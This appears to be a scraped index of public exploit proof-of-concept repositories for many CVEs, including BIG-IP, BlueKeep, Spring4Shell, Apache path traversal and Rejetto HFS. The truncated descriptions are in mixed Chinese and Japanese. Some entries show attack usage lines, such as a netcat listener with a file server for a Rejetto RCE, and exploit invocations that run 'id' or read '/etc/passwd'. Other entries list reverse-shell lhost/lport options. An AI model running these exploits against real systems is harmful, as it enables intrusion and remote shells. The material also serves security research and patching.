Exploits

漏洞利用（Exploits） 原创CVE、利用PoC和安全公告 作者：@kmkz · boffsec-services.com · @kmkzsecurity 2026年 文件| 目标| 类型| CVSSv3 ---|---|---|--- CVE-2026-22191-SicuroWeb-ATI-chain.txt| SicuroWeb / Beghelli Sicuro24| 公告（3-CVE链）| 9.3 CVE-2026-22191-POC.py| SicuroWeb / Beghelli Sicuro24| PoC（mitmproxy）| 9.3...

CVE-2020-5902

CVE-2020-5902 BIG-IP CVE-2020-5902 漏洞利用 POC 及自动化扫描漏洞 用于利用 big-ip 漏洞并进行自动化扫描的简单程序 安装 gem install httparty gem install colorize gem install timeout ruby big-ip.rb list.txt output.txt...

OpenEMR-RCE

OpenEMR RCE 漏洞利用 / PoC OpenEMR --shell --user --password --debug exploit.rb semi-auto --root-url --user --password --payload --lhost --lport --debug exploit.rb auto --root-url --user --password --lhost --lport --debug exploit.rb -H | --help Options: -r , --root-url Root URL base path including HT...

CVE-2022-23935

简介 CVE-2022-23935 漏洞利用 PoC exiftool 版本 12.37 安装 root@kitploit: git clone https://github.com/0xFTW/CVE-2022-23935 cd CVE-2022-23935 chmod +x CVE-2022-23935.py pip3 install pwntools 用法 root@kitploit: ./CVE-2022-23935...

pub

❤ 成为英雄，打赏一杯 🍺 🙂 ⟶ Ƀ : 1AZMeGVfCBbYwVYyG9s79pJDyocTZgiApa | Ξth : 0x438B38E30eF117C15fBfF833f9C2c70182925815 由 tintinweb 披露的漏洞利用 PoCs 与工具。 公开 root@kitploit: police line - do not cross ==== police line - do not cross ==== police line - do not cross ==== ==== police line - do not cross ==== police...

CVE-2020-7247-exploit

CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 远程代码执行 PoC 利用 参考: https://www.openwall.com/lists/oss-security/2020/01/28/3 用法 root@kitploit: python3 exploit.py 依赖 root@kitploit: pip3 install --user pwntools...

CVE-2019-0708-EXP-Windows

CVE-2019-0708-EXP-Windows-Version お断り 著者のPOCは研究目的のみです。読者が本POCを他の目的に使用した場合、著者は一切の責任を負いません。 目次 toc 紹介 CVE-2019-0708-EXP-Windows版は単一ファイルのexeとして動作し、Linux、Python、Ruby等は不要です。実行後、現在のコンソールに直接System権限のシェルが起動します。 コンパイルは全静的ライブラリモードを採用し、すべてのDLLをインライン化、netcatとopensslを統合、プログレスバー表示とシェルのエコー操作をサポートします。 再現環境 1...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress プラグイン RCE 3.5.3 Wordpress用Social Warfareプラグイン バージョン3.5.3未満におけるリモートコード実行。このPoCは追加のHTTPサーバーを実行する必要はありません。ローカルIPと希望するポートを指定するだけで、エクスプロイトが独自のスレッドでサーバーを作成します。 使用方法 root@kitploit: usage: CVE-2019-9978.py -h -t TARGET -l LHOST -p LPORT -c COMMAND options: -h,...

CVE-2024-36877

CVE-2024-36877 CVE-2024-36877 のエクスプロイト POC 詳細な解説は私のブログにあります - https://jjensn.com/at-home-in-your-firmware https://github.com/user-attachments/assets/71f30cda-61e3-49ea-b856-959746349f2d...

CVE-2022-32250

CVE-2022-32250 これはCVE-2022-32250用のエクスプロイトで、NCC Groupのブログの研究に完全に基づいて書かれています。 テスト環境: カーネルバージョン 5.13 成功率: 70% ビルド ビルドには libmnl と libnftnl が必要です。 root@kitploit: make all 免責事項 このProof-of-Conceptおよび脆弱性の解説は、教育および研究目的のみで提供されます。自己責任で使用してください。...

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287

rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 该仓库包含针对 Rejetto HTTP 文件服务器 HFS 2.3.x 远程命令执行漏洞的详细说明和可用 PoC。 配置： 创建一个 netcat 监听器。 root@kitploit: nc -lnvp 1234 将攻击者 IP 改为你的 IP 和端口。 同时，在 nc.exe 所在的同一目录下创建一个 HTTP 文件服务器。 root@kitploit: python -m http.server 80 使用方法： root@kitploit: python...

spring4shell-exploit-poc

Spring4Shell 漏洞利用概念验证 利用存在Spring4Shell漏洞的Spring应用程序。在我们的博客上了解更多关于Spring4Shell的信息。 使用方法 依赖项：Docker 和 docker-compose root@kitploit: $ ./exploit.sh 存在漏洞的 Spring 应用程序 存在漏洞的 Spring 应用程序包含一个针对 /helloworld/greeting 的 GET 和 POST 请求处理程序。exploit.sh 脚本启动运行 Tomcat 9.0 的应用容器，应用程序打包为 WAR，并使用 curl 将 WebShell 写入...

CVE-2019-5736-Custom-Runtime

CVE-2019-5736 カスタムサンドボックス 概要 CVE-2019-5736 は、エクスプロイトを理解するために浅い自作のコンテナランタイムを使用して実装されています。 エクスプロイトは、twistlock による runc-poc に基づいています（ほぼすべてコピーされています）：https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/maliciousimagePOC コンテナランタイム quarantine 詳細はコードドキュメントを参照してください。 root@kitploit: Usage:...

Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution

Apache HTTP-Server 2.4.49-2.4.50 パストラバーサル & リモートコード実行 説明 これは CVE-2021-41773 および CVE-2021-42013 の PoC スクリプトです。 使用方法: root@kitploit: python3 exploit.py | 例: リモートコード実行 root@kitploit: python3 exploit.py 127.0.0.1 8080 rce 'id' パストラバーサル root@kitploit: python3 exploit.py 127.0.0.1 8080 file '/etc/passw...

CVE-2019-19609

CVE-2019-19609 Strapi リモートコード実行 使用方法 python3 exploit.py rhost jwt url lhost エクスプロイトPoC https://bittherapy.net/post/strapi-framework-remote-code-execution/...

CVE-2020-0910

CVE-2020-0910 動作するエクスプロイトPoC CVE-2020-0910 - Reverse Bind Shell Python2.7でテスト済み インストール方法: pip install -r requirements.txt 実行方法: python CVE-2020-0910-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2019-18818

CVE-2019-18818 Strapi = 3.0.0-beta エクスプロイト POC...

CVE-2023-1767

Stored XSS snyk.io 発見 19/03/23 CVE-2023-1767 責任ある脆弱性開示レポート 脆弱性ブログ記事のカバレッジ エクスプロイト PoC...

jscpwn

CVE-2016-4622 CVE-2016-4622のPoCエクスプロイト。このバグの詳細な解説はphrackにあります。...

SpringBreaker

SpringBreaker 针对 Spring RCE 漏洞 CVE-2011-2894 的利用 PoC...